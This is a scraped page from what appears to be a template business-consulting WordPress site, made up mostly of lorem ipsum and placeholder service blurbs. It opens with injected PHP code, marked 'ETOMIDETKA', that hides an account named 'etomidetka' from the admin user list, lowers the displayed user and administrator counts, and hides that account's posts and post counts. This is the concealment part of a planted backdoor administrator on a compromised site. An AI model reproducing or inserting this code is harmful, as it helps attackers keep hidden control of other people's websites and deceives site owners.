//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; });
We have almost 35+ years of experience for providing consulting services solutions
Read MoreWe have almost 35+ years of experience for providing consulting services solutions
Read MoreWe have almost 35+ years of experience for providing consulting services solutions
Read MoreLorem ipsum dolor sit amet consectetur adipiscing, elit libero facilisis etiam ridiculus
Lorem ipsum dolor sit amet consectetur adipiscing, elit libero facilisis etiam ridiculus
Lorem ipsum dolor sit amet consectetur adipiscing, elit libero facilisis etiam ridiculus
Lorem ipsum dolor sit amet consectetur adipiscing, elit libero facilisis etiam ridiculus
Lorem ipsum dolor sit amet, consectetur adipisicing nesciunt, aliquam alias sunt. Dolores aliquid unde reprehenderit omnis vitae cupiditate distinctio?
All MembersService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreService Details Leverage agile frameworks to provide a robust synopsis for high level overviews….
Read MoreLorem ipsum dolor sit amet consectetur adicing nesciunt aliquam sunt
Lorem ipsum dolor sit amet consectetur adicing nesciunt aliquam sunt
Lorem ipsum dolor sit amet consectetur adicing nesciunt aliquam sunt
Lorem ipsum dolor sit amet consectetur adicing nesciunt aliquam sunt
We have more than years of experience
Lorem ipsum dolor sit amet consectetur adipiscing, elit libero facilisis donec laoreet ridiculus convallis ultrices sociis fermentum orci nasceture
Lorem ipsum dolor sit amet, consectetur adipisicing nesciunt, aliquam alias sunt. Dolores aliquid unde reprehenderit omnis vitae cupiditate distinctio?
All News Economics admin August 23, 2022